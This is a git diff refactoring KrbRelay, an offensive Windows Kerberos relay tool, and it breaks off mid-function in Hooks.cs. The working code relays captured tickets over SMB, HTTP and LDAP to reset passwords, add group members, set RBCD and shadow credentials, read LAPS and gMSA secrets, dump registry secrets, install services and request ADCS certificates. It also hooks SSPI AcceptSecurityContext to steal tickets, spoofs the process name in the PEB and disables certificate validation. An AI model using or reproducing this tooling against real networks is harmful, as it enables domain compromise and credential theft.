ISMBFileStore fileStore = smbClient.TreeConnect(share, out var status); if (!readFile(smbClient, fileStore, path, out content)) @@ -213,15 +304,16 @@ public static void smbConsole(SMB2Client smbClient, string share = "ipc$") default: Console.WriteLine( - "Commands:\n" + - "ls \n" + - "cat \n" + - "get - Download file\n" + - "put - Upload file\n" + - "rm - Delete file\n" + - "shares - List smb shares\n" + - "use - Switch smb share\n" + - "exit\n"); + "Commands:\n" + + "ls \n" + + "cat \n" + + "get - Download file\n" + + "put - Upload file\n" + + "rm - Delete file\n" + + "shares - List smb shares\n" + + "use - Switch smb share\n" + + "exit\n" + ); break; } if (exit) @@ -261,4 +353,4 @@ public static void listShares(SMB2Client smbClient) } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Http.cs b/KrbRelay/Clients/Http.cs index 49f9dd4..74ef2e4 100644 --- a/KrbRelay/Clients/Http.cs +++ b/KrbRelay/Clients/Http.cs @@ -13,19 +13,22 @@ public class Http public static void Connect() { string endpoint = ""; - if (!string.IsNullOrEmpty(attacks["endpoint"])) + if (!string.IsNullOrEmpty(State.attacks["endpoint"])) { - endpoint = attacks["endpoint"].TrimStart('/'); + endpoint = State.attacks["endpoint"].TrimStart('/'); } HttpResponseMessage result; - var cookie = string.Format("Negotiate {0}", Convert.ToBase64String(ticket)); + var cookie = string.Format("Negotiate {0}", Convert.ToBase64String(State.ticket)); using (var message = new HttpRequestMessage(HttpMethod.Get, endpoint)) { message.Headers.Add("Authorization", cookie); message.Headers.Add("Connection", "keep-alive"); - message.Headers.Add("User-Agent", "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko"); + message.Headers.Add( + "User-Agent", + "Mozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; AS; rv:11.0) like Gecko" + ); result = httpClient.SendAsync(message).Result; } @@ -40,38 +43,54 @@ public static void Connect() if (h.Key == "Set-Cookie") { cookies = h.Value; - Console.WriteLine("[*] Authentication Cookie;\n" + string.Join(";", h.Value)); + Console.WriteLine( + "[*] Authentication Cookie;\n" + string.Join(";", h.Value) + ); } } try { - if (attacks.Keys.Contains("proxy")) + if (State.attacks.Keys.Contains("proxy")) { - Attacks.Http.ProxyServer.Start(httpClient, httpClient.BaseAddress.ToString()); + Attacks.Http.ProxyServer.Start( + httpClient, + httpClient.BaseAddress.ToString() + ); } - if (attacks.Keys.Contains("adcs")) + if (State.attacks.Keys.Contains("adcs")) { - Attacks.Http.ADCS.requestCertificate(httpClient, relayedUser, relayedUserDomain, attacks["adcs"]); + Attacks.Http.ADCS.requestCertificate( + httpClient, + State.relayedUser, + State.relayedUserDomain, + State.attacks["adcs"] + ); } - if (attacks.Keys.Contains("ews-delegate")) + if (State.attacks.Keys.Contains("ews-delegate")) { - Attacks.Http.EWS.delegateMailbox(httpClient, relayedUser, attacks["ews-delegate"]); + Attacks.Http.EWS.delegateMailbox( + httpClient, + State.relayedUser, + State.attacks["ews-delegate"] + ); } - if (attacks.Keys.Contains("ews-search")) + if (State.attacks.Keys.Contains("ews-search")) { - Attacks.Http.EWS.readMailbox(httpClient, "inbox", attacks["ews-search"]); + Attacks.Http.EWS.readMailbox( + httpClient, + "inbox", + State.attacks["ews-search"] + ); } } catch (Exception e) { Console.WriteLine("[-] {0}", e); } - - Environment.Exit(0); } else { @@ -80,8 +99,9 @@ public static void Connect() //Console.WriteLine(header.Key); if (header.Key == "WWW-Authenticate") { - apRep1 = Convert.FromBase64String(header.Value.First().Replace("Negotiate ", "")); - Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1)); + State.UpdateApRep1(Convert.FromBase64String( + header.Value.First().Replace("Negotiate ", "") + )); } } } @@ -90,18 +110,26 @@ public static void Connect() internal class TrustAll : ICertificatePolicy { - public TrustAll() - { - } + public TrustAll() { } - public bool CheckValidationResult(ServicePoint srvPoint, X509Certificate certificate, WebRequest request, int certificateProblem) + public bool CheckValidationResult( + ServicePoint srvPoint, + X509Certificate certificate, + WebRequest request, + int certificateProblem + ) { return true; } - public bool CheckValidationResult(ServicePoint srvPoint, System.Security.Cryptography.X509Certificates.X509Certificate certificate, WebRequest request, int certificateProblem) + public bool CheckValidationResult( + ServicePoint srvPoint, + System.Security.Cryptography.X509Certificates.X509Certificate certificate, + WebRequest request, + int certificateProblem + ) { return true; } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Ldap.cs b/KrbRelay/Clients/Ldap.cs index e07ed90..4782466 100644 --- a/KrbRelay/Clients/Ldap.cs +++ b/KrbRelay/Clients/Ldap.cs @@ -1,8 +1,6 @@ using System; using System.Linq; using System.Runtime.InteropServices; -using static KrbRelay.Natives; -using static KrbRelay.Program; namespace KrbRelay.Clients { @@ -10,70 +8,72 @@ public class Ldap { public static void Connect() { - //create berval struct with the kerberos ticket - var sTicket = new SecBuffer(ticket); - var berval = new berval - { - bv_len = sTicket.cbBuffer, - bv_val = sTicket.pvBuffer - }; + // create berval struct with the kerberos ticket + + var buffer = new SecurityBuffer(State.ticket); + var berval = new berval { bv_len = buffer.Count, bv_val = buffer.Token }; + var bervalPtr = Marshal.AllocHGlobal(Marshal.SizeOf(berval)); Marshal.StructureToPtr(berval, bervalPtr, false); - var bind = ldap_sasl_bind( - ld, + + var bind = Interop.ldap_sasl_bind( + State.ld, "", "GSS-SPNEGO", // GSS-SPNEGO / GSSAPI bervalPtr, IntPtr.Zero, IntPtr.Zero, - out IntPtr servresp); + out IntPtr servresp + ); + Console.WriteLine("[*] bind: {0}", bind); - ldap_get_option(ld, 0x0031, out int value); + + Interop.ldap_get_option(State.ld, 0x0031, out int value); Console.WriteLine("[*] ldap_get_option: {0}", (LdapStatus)value); - if ((LdapStatus)value == LdapStatus.LDAP_SUCCESS) + if ((LdapStatus)value == LdapStatus.Success) { Console.WriteLine("[+] LDAP session established"); try { - if (attacks.Keys.Contains("console")) + if (State.attacks.Keys.Contains("console")) { - ldapConsole(ld, attacks["console"]); + ldapConsole(State.ld, State.attacks["console"]); } - if (attacks.Keys.Contains("add-groupmember")) + if (State.attacks.Keys.Contains("add-groupmember")) { - string arg1 = attacks["add-groupmember"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["add-groupmember"].Split(new[] { ' ' }, 2)[1]; - Attacks.Ldap.addGroupMember.attack(ld, arg1, arg2); + string arg1 = State.attacks["add-groupmember"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["add-groupmember"].Split(new[] { ' ' }, 2)[1]; + Attacks.Ldap.AddGroupMember.attack(State.ld, arg1, arg2); } - if (attacks.Keys.Contains("reset-password")) + if (State.attacks.Keys.Contains("reset-password")) { - string arg1 = attacks["reset-password"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["reset-password"].Split(new[] { ' ' }, 2)[1]; - Attacks.Ldap.setPassword.attack(ld, arg1, arg2); + string arg1 = State.attacks["reset-password"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["reset-password"].Split(new[] { ' ' }, 2)[1]; + Attacks.Ldap.setPassword.attack(State.ld, arg1, arg2); } - if (attacks.Keys.Contains("rbcd")) + if (State.attacks.Keys.Contains("rbcd")) { - string arg1 = attacks["rbcd"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["rbcd"].Split(new[] { ' ' }, 2)[1]; - Attacks.Ldap.RBCD.attack(ld, arg1, arg2); + string arg1 = State.attacks["rbcd"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["rbcd"].Split(new[] { ' ' }, 2)[1]; + Attacks.Ldap.RBCD.attack(State.ld, arg1, arg2); } - if (attacks.Keys.Contains("shadowcred")) + if (State.attacks.Keys.Contains("shadowcred")) { - string arg1 = relayedUser; - if (!string.IsNullOrEmpty(attacks["shadowcred"])) - arg1 = attacks["shadowcred"]; + string arg1 = State.relayedUser; + if (!string.IsNullOrEmpty(State.attacks["shadowcred"])) + arg1 = State.attacks["shadowcred"]; - Attacks.Ldap.ShadowCredential.attack(ld, arg1); + Attacks.Ldap.ShadowCredential.attack(State.ld, arg1); } - if (attacks.Keys.Contains("laps")) + if (State.attacks.Keys.Contains("laps")) { - Attacks.Ldap.LAPS.read(ld, attacks["laps"]); + Attacks.Ldap.LAPS.read(State.ld, State.attacks["laps"]); } - if (attacks.Keys.Contains("gmsa")) + if (State.attacks.Keys.Contains("gmsa")) { - Attacks.Ldap.gMSA.read(ld, attacks["gmsa"]); + Attacks.Ldap.gMSA.read(State.ld, State.attacks["gmsa"]); } } catch (Exception e) @@ -81,13 +81,11 @@ public static void Connect() Console.WriteLine("[-] {0}", e); } - ldap_unbind(ld); - Environment.Exit(0); + Interop.ldap_unbind(State.ld); } - if ((LdapStatus)value != LdapStatus.LDAP_SASL_BIND_IN_PROGRESS) + if ((LdapStatus)value != LdapStatus.SaslBindInProgress) { Console.WriteLine("[-] Ldap failed"); - Environment.Exit(0); } else { @@ -95,8 +93,7 @@ public static void Connect() berval msgidp2 = (berval)Marshal.PtrToStructure(servresp, typeof(berval)); byte[] msgidbytes = new byte[msgidp2.bv_len]; Marshal.Copy(msgidp2.bv_val, msgidbytes, 0, msgidp2.bv_len); - apRep1 = msgidbytes; - Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1)); + State.UpdateApRep1(msgidbytes); } } @@ -142,7 +139,7 @@ public static void ldapConsole(IntPtr ld, string optional = "") case "rm-acl": break; - + case "shadowcred": if (string.IsNullOrEmpty(arg1)) { @@ -201,4 +198,4 @@ public static void ldapConsole(IntPtr ld, string optional = "") } } } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Rpc.cs b/KrbRelay/Clients/Rpc.cs index d932381..3e3815a 100644 --- a/KrbRelay/Clients/Rpc.cs +++ b/KrbRelay/Clients/Rpc.cs @@ -4,4 +4,4 @@ internal class Rpc { //https://github.com/googleprojectzero/sandbox-attacksurface-analysis-tools/blob/main/NtApiDotNet/Win32/Rpc/Transport } -} \ No newline at end of file +} diff --git a/KrbRelay/Clients/Smb.cs b/KrbRelay/Clients/Smb.cs index 4e4a479..50b802d 100644 --- a/KrbRelay/Clients/Smb.cs +++ b/KrbRelay/Clients/Smb.cs @@ -8,33 +8,37 @@ public class Smb { public static void Connect() { - apRep1 = smbClient.Login(ticket, out bool success); + State.UpdateApRep1(smbClient.Login(State.ticket, out bool success)); + if (success) { Console.WriteLine("[+] SMB session established"); try { - if (attacks.Keys.Contains("console")) + if (State.attacks.Keys.Contains("console")) { Attacks.Smb.Shares.smbConsole(smbClient); } - if (attacks.Keys.Contains("list")) + if (State.attacks.Keys.Contains("list")) { Attacks.Smb.Shares.listShares(smbClient); } - if (attacks.Keys.Contains("add-privileges")) + if (State.attacks.Keys.Contains("add-privileges")) { - Attacks.Smb.LSA.AddAccountRights(smbClient, attacks["add-privileges"]); + Attacks.Smb.LSA.AddAccountRights( + smbClient, + State.attacks["add-privileges"] + ); } - if (attacks.Keys.Contains("secrets")) + if (State.attacks.Keys.Contains("secrets")) { Attacks.Smb.RemoteRegistry.secretsDump(smbClient, false); } - if (attacks.Keys.Contains("service-add")) + if (State.attacks.Keys.Contains("service-add")) { - string arg1 = attacks["service-add"].Split(new[] { ' ' }, 2)[0]; - string arg2 = attacks["service-add"].Split(new[] { ' ' }, 2)[1]; + string arg1 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[0]; + string arg2 = State.attacks["service-add"].Split(new[] { ' ' }, 2)[1]; Attacks.Smb.ServiceManager.serviceInstall(smbClient, arg1, arg2); } } @@ -45,12 +49,11 @@ public static void Connect() smbClient.Logoff(); smbClient.Disconnect(); - Environment.Exit(0); } else { - Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToString(apRep1)); + Console.WriteLine("[*] apRep1: {0}", Helpers.ByteArrayToHex(State.apRep1)); } } } -} \ No newline at end of file +} diff --git a/KrbRelay/IStorage/IEnumSTATSTG.cs b/KrbRelay/Com/IStorage/IEnumSTATSTG.cs similarity index 100% rename from KrbRelay/IStorage/IEnumSTATSTG.cs rename to KrbRelay/Com/IStorage/IEnumSTATSTG.cs diff --git a/KrbRelay/IStorage/ILockBytes.cs b/KrbRelay/Com/IStorage/ILockBytes.cs similarity index 100% rename from KrbRelay/IStorage/ILockBytes.cs rename to KrbRelay/Com/IStorage/ILockBytes.cs diff --git a/KrbRelay/IStorage/IMarshal.cs b/KrbRelay/Com/IStorage/IMarshal.cs similarity index 100% rename from KrbRelay/IStorage/IMarshal.cs rename to KrbRelay/Com/IStorage/IMarshal.cs diff --git a/KrbRelay/IStorage/IStorage.cs b/KrbRelay/Com/IStorage/IStorage.cs similarity index 100% rename from KrbRelay/IStorage/IStorage.cs rename to KrbRelay/Com/IStorage/IStorage.cs diff --git a/KrbRelay/IStorage/IStream.cs b/KrbRelay/Com/IStorage/IStream.cs similarity index 100% rename from KrbRelay/IStorage/IStream.cs rename to KrbRelay/Com/IStorage/IStream.cs diff --git a/KrbRelay/IStorage/Ole32.cs b/KrbRelay/Com/IStorage/Ole32.cs similarity index 100% rename from KrbRelay/IStorage/Ole32.cs rename to KrbRelay/Com/IStorage/Ole32.cs diff --git a/KrbRelay/IStorage/StandardActivator.cs b/KrbRelay/Com/IStorage/StandardActivator.cs similarity index 100% rename from KrbRelay/IStorage/StandardActivator.cs rename to KrbRelay/Com/IStorage/StandardActivator.cs diff --git a/KrbRelay/IStorage/StorageTrigger.cs b/KrbRelay/Com/IStorage/StorageTrigger.cs similarity index 100% rename from KrbRelay/IStorage/StorageTrigger.cs rename to KrbRelay/Com/IStorage/StorageTrigger.cs diff --git a/KrbRelay/Common/Helpers.cs b/KrbRelay/Common/Helpers.cs new file mode 100644 index 0000000..8c39fcb --- /dev/null +++ b/KrbRelay/Common/Helpers.cs @@ -0,0 +1,550 @@ +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Globalization; +using System.IO; +using System.Linq; +using System.Net; +using System.Net.NetworkInformation; +using System.Runtime.InteropServices; +using System.Text; +using Microsoft.Win32; +using NetFwTypeLib; + +namespace KrbRelay +{ + class Helpers + { + //https://github.com/rvazarkar/GMSAPasswordReader + public static string KerberosPasswordHash( + KERB_ETYPE etype, + string password, + string salt = "", + int count = 4096 + ) + { + // use the internal KERB_ECRYPT HashPassword() function to calculate a password hash of a given etype + // adapted from @gentilkiwi's Mimikatz "kerberos::hash" implementation + + KERB_ECRYPT pCSystem; + IntPtr pCSystemPtr; + + // locate the crypto system for the hash type we want + int status = Interop.CDLocateCSystem(etype, out pCSystemPtr); + + pCSystem = (KERB_ECRYPT)System.Runtime.InteropServices.Marshal.PtrToStructure( + pCSystemPtr, + typeof(KERB_ECRYPT) + ); + if (status != 0) + throw new System.ComponentModel.Win32Exception(status, "Error on CDLocateCSystem"); + + // get the delegate for the password hash function + KERB_ECRYPT_HashPassword pCSystemHashPassword = + (KERB_ECRYPT_HashPassword)System.Runtime.InteropServices.Marshal.GetDelegateForFunctionPointer( + pCSystem.HashPassword, + typeof(KERB_ECRYPT_HashPassword) + ); + UNICODE_STRING passwordUnicode = new UNICODE_STRING(password); + UNICODE_STRING saltUnicode = new UNICODE_STRING(salt); + + byte[] output = new byte[pCSystem.KeySize]; + + status = pCSystemHashPassword(passwordUnicode, saltUnicode, count, output); + + if (status != 0) + throw new Win32Exception(status); + + return System.BitConverter.ToString(output).Replace("-", ""); + } + + // https://docs.microsoft.com/en-us/windows/win32/api/winternl/ns-winternl-rtl_user_process_parameters + public static string SetProcessModuleName(string newName) + { + uint retLength = 0; + PROCESS_BASIC_INFORMATION pbi = new PROCESS_BASIC_INFORMATION(); + Interop.NtQueryInformationProcess( + (IntPtr)(-1), + 0, + ref pbi, + Marshal.SizeOf(pbi), + ref retLength + ); + + // PEB->ProcessParameters + IntPtr processParameters = Marshal.ReadIntPtr(pbi.PebBaseAddress + 0x20); + + // RtlUserProcessParameters->ImagePathName + IntPtr imagePathName = processParameters + 0x060; + + UNICODE_STRING name = (UNICODE_STRING)Marshal.PtrToStructure( + imagePathName, + typeof(UNICODE_STRING) + ); + var previous = name.ToString(); + + name.Length = (ushort)(newName.Length * 2); + name.MaximumLength = (ushort)(name.Length + 2); + + byte[] buffer = Encoding.Unicode.GetBytes(newName + "\x00"); + + IntPtr bytesWritten = IntPtr.Zero; + Interop.WriteProcessMemory( + (IntPtr)(-1), + name.buffer, + buffer, + buffer.Length, + out bytesWritten + ); + + Marshal.StructureToPtr(name, imagePathName, false); + + StringBuilder fileName = new StringBuilder(1024); + Interop.GetModuleFileName(IntPtr.Zero, fileName, fileName.Capacity); + + if (fileName.ToString() == newName) + { + Console.WriteLine("[+] SetProcessModuleName({0}): Success", newName); + } else{ + Console.WriteLine("[!] SetProcessModuleName({0}) FAILED, got {1}", newName, fileName); + } + + return previous; + } + + static readonly IntPtr HKEY_LOCAL_MACHINE = new IntPtr(-2147483646); + + public static void OverrideLocalMachine(RegistryKey key) + { + int res = Interop.RegOverridePredefKey(HKEY_LOCAL_MACHINE, + key?.Handle.DangerousGetHandle() ?? IntPtr.Zero); + if (res != 0) + throw new Win32Exception(res); + } + + public static void LoadLDAPLibrary() + { + string dummy = @"SOFTWARE\DUMMY"; + string target = @"System\CurrentControlSet\Services\LDAP"; + using (var key = Registry.CurrentUser.CreateSubKey(dummy, true)) + { + using (var okey = key.CreateSubKey(target, true)) + { + okey.SetValue("LdapClientIntegrity", 0, + RegistryValueKind.DWord); + OverrideLocalMachine(key); + try + { + IntPtr lib = Interop.LoadLibrary("wldap32.dll"); + if (lib == IntPtr.Zero) + throw new Win32Exception(); + } + finally + { + OverrideLocalMachine(null); + Registry.CurrentUser.DeleteSubKeyTree(dummy); + } + } + } + } + + public static bool GetWtsSessionData(int SessionId) + { + if (SessionId != -123) + { + uint bytesReturned; + bool worked; + IntPtr buffer = IntPtr.Zero; + + try + { + worked = Interop.WTSQuerySessionInformation( + IntPtr.Zero, + SessionId, + WtsInfoClass.ConnectState, + out buffer, + out bytesReturned + ); + var state = (WtsConnectStateClass)Enum.ToObject( + typeof(WtsConnectStateClass), + Marshal.ReadInt32(buffer) + ); + if (state != WtsConnectStateClass.Active) + Console.WriteLine("[-] WARNING, user's session is not active"); + } + catch + { + Console.WriteLine("[-] Session {0} does not exists", SessionId); + return false; + } + + worked = Interop.WTSQuerySessionInformation( + IntPtr.Zero, + SessionId, + WtsInfoClass.DomainName, + out buffer, + out bytesReturned + ); + State.relayedUserDomain = Marshal.PtrToStringAnsi(buffer); + + worked = Interop.WTSQuerySessionInformation( + IntPtr.Zero, + SessionId, + WtsInfoClass.UserName, + out buffer, + out bytesReturned + ); + State.relayedUser = Marshal.PtrToStringAnsi(buffer); + } + else + { + State.relayedUser = Environment.MachineName + "$"; + State.relayedUserDomain = State.domainDN.Replace(",", ".").Replace("DC=", ""); + } + Console.WriteLine( + "[*] Relaying context: {0}\\{1}", + State.relayedUserDomain, + State.relayedUser + ); + + return true; + } + + public static bool CheckFirewallPort(int port, string name = "SYSTEM") + { + INetFwMgr mgr = (INetFwMgr)Activator.CreateInstance( + Type.GetTypeFromProgID("HNetCfg.FwMgr") + ); + if (!mgr.LocalPolicy.CurrentProfile.FirewallEnabled) + { + return true; + } + mgr.IsPortAllowed( + name, + NET_FW_IP_VERSION_.NET_FW_IP_VERSION_ANY, + port, + "", + NET_FW_IP_PROTOCOL_.NET_FW_IP_PROTOCOL_TCP, + out object allowed, + out object restricted + ); + return (bool)allowed; + } + + public static int CheckAllFirewallPorts(string[] names) + { + IPGlobalProperties ipGlobalProperties = IPGlobalProperties.GetIPGlobalProperties(); + IPEndPoint[] tcpConnInfoArray = ipGlobalProperties.GetActiveTcpListeners(); + List tcpPorts = tcpConnInfoArray.Select(i => i.Port).ToList(); + + foreach (string name in names) + { + for (int i = 1; i < 65535; i++) + { + if (CheckFirewallPort(i, name) && !tcpPorts.Contains(i)) + { + return i; + } + } + } + return -1; + } + + public static string ByteArrayToHex(byte[] ba) + { + StringBuilder hex = new StringBuilder(ba.Length * 2); + foreach (byte b in ba) + hex.AppendFormat("{0:x2}", b); + return hex.ToString(); + } + + public static byte[] HexToByteArray(string s) + { + return Enumerable + .Range(0, s.Length) + .Where(x => x % 2 == 0) + .Select(x => Convert.ToByte(s.Substring(x, 2), 16)) + .ToArray(); + } + + public static void PrintProperties(object myObj, string header = "", int offset = 0) + { + string trail = String.Concat(Enumerable.Repeat(" ", offset)); + + if (!string.IsNullOrEmpty(header)) + Console.WriteLine(header); + + foreach (var prop in myObj.GetType().GetProperties()) + { + try + { + if (!string.IsNullOrEmpty((string)(prop.GetValue(myObj, null)))) + Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null)); + } + catch (Exception e) + { + Console.WriteLine(trail + prop.Name + ": " + prop.GetValue(myObj, null)); + } + } + + foreach (var field in myObj.GetType().GetFields()) + { + try + { + if (!string.IsNullOrEmpty((string)field.GetValue(myObj))) + Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj)); + } + catch (Exception e) + { + Console.WriteLine(trail + field.Name + ": " + field.GetValue(myObj)); + } + } + } + + public static T ReadStruct(byte[] array) where T : struct + { + var handle = GCHandle.Alloc(array, GCHandleType.Pinned); + var mystruct = (T)Marshal.PtrToStructure(handle.AddrOfPinnedObject(), typeof(T)); + handle.Free(); + + return mystruct; + } + + public static int FieldOffset(string fieldName) + { + return Marshal.OffsetOf(typeof(T), fieldName).ToInt32(); + } + + public static int StructFieldOffset(Type s, string field) + { + var ex = typeof(Program); + var mi = ex.GetMethod("FieldOffset"); + var miConstructed = mi.MakeGenericMethod(s); + object[] args = { field }; + return (int)miConstructed.Invoke(null, args); + } + + public static byte[] EncodeLength(int length) + { + if (length < 0x80) + + return new byte[] { (byte)length }; + + if (length < 0x100) + + return new byte[] { 0x81, (byte)length }; + + if (length < 0x10000) + + return new byte[] { 0x82, (byte)(length >> 8), (byte)(length & 0xFF) }; + + throw new ArgumentException("Invalid length", nameof(length)); + } + + public static byte[] ConvertApReq(byte[] token) + { + if (token.Length == 0 || token[0] != 0x6E) // return if packet is not kerberos + return token; + + MemoryStream stm = new MemoryStream(); + + BinaryWriter writer = new BinaryWriter(stm); + + // write KRB5_OID + KRB5_tok_ID + byte[] header = new byte[] + { + 0x06, + 0x09, + 0x2a, + 0x86, + 0x48, + 0x86, + 0xf7, + 0x12, + 0x01, + 0x02, + 0x02, + 0x01, + 0x00 + }; + + writer.Write((byte)0x60); + + writer.Write(EncodeLength(header.Length + token.Length)); + + writer.Write(header); + + writer.Write(token); + + return stm.ToArray(); + } + + public static List SearchBytePattern(byte[] pattern, byte[] bytes) + { + List positions = new List(); + int patternLength = pattern.Length; + int totalLength = bytes.Length; + byte firstMatchByte = pattern[0]; + for (int i = 0; i < totalLength; i++) + { + if (firstMatchByte == bytes[i] && totalLength - i >= patternLength) + { + byte[] match = new byte[patternLength]; + Array.Copy(bytes, i, match, 0, patternLength); + if (match.SequenceEqual(pattern)) + { + positions.Add(i); + i += patternLength - 1; + } + } + } + return positions; + } + + public static byte[] Combine(params byte[][] arrays) + { + byte[] ret = new byte[arrays.Sum(x => x.Length)]; + int offset = 0; + foreach (byte[] data in arrays) + { + Buffer.BlockCopy(data, 0, ret, offset, data.Length); + offset += data.Length; + } + return ret; + } + + public static int PatternAt(byte[] src, byte[] pattern, bool firstMatch = false) + { + int maxFirstCharSlot = src.Length - pattern.Length + 1; + for (int i = 0; i < maxFirstCharSlot; i++) + { + if (src[i] != pattern[0]) // compare only first byte + continue; + if (firstMatch == true) + return i; + // found a match on first byte, now try to match rest of the pattern + for (int j = pattern.Length - 1; j >= 1; j--) + { + if (src[i + j] != pattern[j]) + break; + if (j == 1) + return i; + } + } + return -1; + } + + internal static IEnumerable GetPointerArray(IntPtr array) + { + if (array != IntPtr.Zero) + { + var count = 0; + var tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size); + while (tempPtr != IntPtr.Zero) + { + yield return tempPtr; + count++; + tempPtr = Marshal.ReadIntPtr(array, count * IntPtr.Size); + } + } + } + + internal static IntPtr AllocHGlobalIntPtrArray(int size) + { + checked + { + var intPtrArray = Marshal.AllocHGlobal(IntPtr.Size * size); + for (var i = 0; i < size; i++) + { + Marshal.WriteIntPtr(intPtrArray, IntPtr.Size * i, IntPtr.Zero); + } + + return intPtrArray; + } + } + + internal static void StructureArrayToPtr( + IEnumerable array, + IntPtr ptr, + bool endNull = false + ) + { + var ptrArray = array + .Select( + structure => + { + var structPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(T))); + Marshal.StructureToPtr(structure, structPtr, false); + return structPtr; + } + ) + .ToList(); + if (endNull) + { + ptrArray.Add(IntPtr.Zero); + } + + Marshal.Copy(ptrArray.ToArray(), 0, ptr, ptrArray.Count); + } + + internal static void ByteArraysToBerValueArray(byte[][] sourceData, IntPtr ptr) + { + for (var i = 0; i < sourceData.Length; i++) + { + var berPtr = ByteArrayToBerValue(sourceData[i]); + Marshal.WriteIntPtr(ptr, i * IntPtr.Size, berPtr); + } + + Marshal.WriteIntPtr(ptr, sourceData.Length * IntPtr.Size, IntPtr.Zero); + } + + internal static IntPtr ByteArrayToBerValue(byte[] bytes) + { + var berPtr = Marshal.AllocHGlobal(Marshal.SizeOf(typeof(berval))); + var valPtr = Marshal.AllocHGlobal(bytes.Length); + Marshal.Copy(bytes, 0, valPtr, bytes.Length); + Marshal.StructureToPtr( + new berval { bv_val = valPtr, bv_len = bytes.Length }, + berPtr, + true + ); + return berPtr; + } + + internal static void BerValFree(IntPtr berval) + { + if (berval != IntPtr.Zero) + { + var b = (berval)Marshal.PtrToStructure(berval, typeof(berval)); + Marshal.FreeHGlobal(b.bv_val); + Marshal.FreeHGlobal(berval); + } + } + + internal static void BerValuesFree(IntPtr array) + { + foreach (var ptr in GetPointerArray(array)) + { + BerValFree(ptr); + } + } + + public static List BerValArrayToByteArrays(IntPtr ptr) + { + var result = new List(); + foreach (var tempPtr in GetPointerArray(ptr)) + { + var bervalue = new berval(); + Marshal.PtrToStructure(tempPtr, bervalue); + if (bervalue.bv_len > 0 && bervalue.bv_val != IntPtr.Zero) + { + var byteArray = new byte[bervalue.bv_len]; + Marshal.Copy(bervalue.bv_val, byteArray, 0, bervalue.bv_len); + result.Add(byteArray); + } + } + + return result; + } + } +} diff --git a/KrbRelay/Common/Hooks.cs b/KrbRelay/Common/Hooks.cs new file mode 100644 index 0000000..a4a4412 --- /dev/null +++ b/KrbRelay/Common/Hooks.cs @@ -0,0 +1,205 @@ +using System; +using System.Collections.Generic; +using System.IO; +using System.Linq; +using System.Runtime.InteropServices; +using System.Text; +using System.Threading.Tasks; +using KrbRelay.Clients; + +namespace KrbRelay +{ + class SSPIHooks + { + private bool hooked = false; + private IntPtr tablePtr; + private SecurityFunctionTable table; + private Dictionary resets = new Dictionary(); + private Dictionary hooks; + + public unsafe SSPIHooks() + { + tablePtr = Interop.InitSecurityInterface(); + table = Marshal.PtrToStructure(tablePtr); + hooks = new Dictionary() + { + { + "AcceptSecurityContext", + (AcceptSecurityContextFunc)this.AcceptSecurityContext + } + }; + } + + ~SSPIHooks() + { + Unhook(); + } + + public unsafe void Hook(string[] searchModules = null) + { + Console.WriteLine("[*] Applying SSPI hooks"); + + Dictionary installed = new Dictionary(); + + searchModules = searchModules ?? new string[] { "rpcrt4.dll" }; + + foreach (var hook in hooks) + { + IntPtr functionPtr = tablePtr + Helpers.FieldOffset(hook.Key); + IntPtr hookFunction = Marshal.GetFunctionPointerForDelegate(hook.Value); + IntPtr originalFunction = Marshal.ReadIntPtr(functionPtr); + + Marshal.WriteIntPtr(functionPtr, hookFunction); + installed[originalFunction] = hookFunction; + resets[functionPtr] = originalFunction; + + Console.WriteLine(" |- sspicli.dll!SecTableW->{0}", hook.Key); + } + + foreach (var module in searchModules) + { + IMAGE_SECTION_HEADER dataSection = new IMAGE_SECTION_HEADER(); + + IntPtr moduleBase = Interop.GetModuleHandle(module); + if (moduleBase == IntPtr.Zero) + continue; + + // Get the data directory pointer + size + + var dosHeader = Marshal.PtrToStructure(moduleBase); + var ntHeader = Marshal.PtrToStructure( + (IntPtr)(moduleBase.ToInt64() + dosHeader.e_lfanew) + ); + + IntPtr sections = (IntPtr)( + moduleBase.ToInt64() + dosHeader.e_lfanew + Marshal.SizeOf() + ); + for (int i = 0; i < ntHeader.FileHeader.NumberOfSections; i++) + { + var section = Marshal.PtrToStructure( + sections + (i * Marshal.SizeOf()) + ); + if (new string(section.Name) == ".data") + { + dataSection = section; + break; + } + } + + if (dataSection.VirtualAddress == 0) + continue; + + // Search for references we need to hook + + foreach (var hook in installed) + { + for (int k = 0; k < dataSection.VirtualSize; k++) + { + IntPtr search = (IntPtr)( + moduleBase.ToInt64() + dataSection.VirtualAddress + k + ); + if (Marshal.ReadIntPtr(search) == hook.Key) + { + resets[search] = Marshal.ReadIntPtr(search); + Marshal.WriteIntPtr(search, hook.Value); + Console.WriteLine(" |- {0}->0x{1:X8}", module, search); + } + } + } + } + + Console.WriteLine(); + hooked = true; + } + + public void Unhook() + { + if (hooked) + { + Console.WriteLine("[*] Removing SSPI hooks"); + + foreach (var reset in resets) + { + Marshal.WriteIntPtr(reset.Key, reset.Value); + Console.WriteLine(" |- 0x{0:X8}", reset.Key); + } + hooked = false; + } + } + + public unsafe SecurityStatusCode AcceptSecurityContext( + SspiHandle* phCredential, + SspiHandle* phContext, // This might be null on first call, ref hates that + SecurityBufferDescriptor* pInput, + AcceptContextReqFlags fContextReq, + uint TargetDataRep, + SspiHandle* phNewContext, + SecurityBufferDescriptor* pOutput, + uint* pfContextAttr, + LARGE_INTEGER* ptsTimeStamp + ) + { + SecurityStatusCode result = SecurityStatusCode.InternalError; + + // Get kerberos tickets sent to our com server + + if 